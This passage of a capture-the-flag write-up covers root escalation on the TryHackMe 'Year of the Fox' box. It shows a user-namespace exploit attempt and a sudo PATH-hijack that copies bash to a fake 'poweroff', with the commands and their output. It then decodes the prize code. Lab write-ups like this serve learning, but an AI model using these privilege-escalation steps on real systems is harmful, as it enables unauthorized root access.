So first thing we note is that there is no secure_path set, that may be exploitable somehow
We have sudo rights on /usr/sbin/shutdown also, what can we do with that?
Hmmm, no weird sneaky switches on that, it just does what you think it does, probably a troll to get someone to kill the box they just fought to log into
We can go further and pull this binary down for examination. First off on a ‘real’ ubuntu 18.04.4 box it’s /sbin/shutdown
not /usr/sbin/shutdown
and secondly on a real installation /sbin/shutdown
is just a link to /bin/systemctl
, not even a real file
So this is a tampered with binary, reversing it in ghidra we get this
{
system("poweroff");
return;
}
Well that’s about as basic as can be. No arguments accepted (tried to overflow it), no nothing, just a straight up call to poweroff
straight away. It is a relative path used, so that could allow us to manipulate the path and get a ‘nice’ version of poweroff into the execution flow
At the time this seemed too easy, so….
begin rabbit-hole/
After a LOT of studying linpeas and random googling we try this User Name Space Linux PrivEsc
fox@year-of-the-fox:/tmp$ chmod +x user
fox@year-of-the-fox:/tmp$ ./user -p -m -U -M '0 1000 1' -G '0 1000 1' bash
About to exec bash
root@year-of-the-fox:/tmp# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
root@year-of-the-fox:/tmp#
Ok, this looks good, the 65534(nogroup) is a little weird though!
Turns out that we don’t have a proper root here, the underlying file system is mounted but we have no access rights to it, some sort of docker-like name space mapping is happening. Seems like something that could probably work, but is missing something. A question for another day!
end rabbit-hole/
Back to the relative path, let’s give that a go. Without a secure_path
entry in the sudo
rights we will use our existing $PATH value, so let’s change that. First we’ll create a fake poweroff
command simply by making a copy of bash
and then we’ll change our PATH when we execute the command
fox@year-of-the-fox:/tmp$ cp /bin/bash ./poweroff
fox@year-of-the-fox:/tmp$ sudo "PATH=/tmp:$PATH" /usr/sbin/shutdown
root@year-of-the-fox:~# id
uid=0(root) gid=0(root) groups=0(root)
And we have root, this time the intended way!
Getting the root flag
However, when we go to get the root flag
root@year-of-the-fox:~# cd /mnt/root/root
/mnt/root/root # ls
root.txt
root@year-of-the-fox:/mnt/root/root # cat root.txt
Not here -- go find!
Ok, so there is more to do!
Let’s look in rascal
’s home directory
root@year-of-the-fox:/home # cd /mnt/root/home/rascal/
root@year-of-the-fox:/mnt/root/home/rascal # ls -la
total 24
drwxr-x--- 2 1001 1001 4096 Jun 1 11:33 .
drwxr-xr-x 4 root root 4096 May 28 20:16 ..
lrwxrwxrwx 1 root root 9 May 28 20:17 .bash_history -> /dev/null
-rw-r--r-- 1 1001 1001 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 1001 1001 3771 Apr 4 2018 .bashrc
-r-------- 1 1001 root 158 Jun 8 23:55 .did-you-think-I-was-useless.root
-rw-r--r-- 1 1001 1001 807 Apr 4 2018 .profile
root@year-of-the-fox:/mnt/root/home/rascal # cat .did-you-think-I-was-useless.root
[REDACTED]
Here's the prize:
YTAyNzQ3ODZlMmE2MjcwNzg2NjZkNjQ2Nzc5NzA0NjY2Njc2NjY4M2I2OTMyMzIzNTNhNjk2ODMw
Mwo=
Good luck!
That gives us the root flag, #2.3:THM{REDACTED}
Prize code
For completeness let’s look at the code supplied:
YTAyNzQ3ODZlMmE2MjcwNzg2NjZkNjQ2Nzc5NzA0NjY2Njc2NjY4M2I2OTMyMzIzNTNhNjk2ODMw Mwo=
is base64 for
a0274786e2a627078666d6467797046666766683b693232353a6968303
Which we can take to cyberchef and decode with this recipe
to get the email address 08de5229f8abaa@tryhackme.com
which was to be emailed to claim your prize on first blood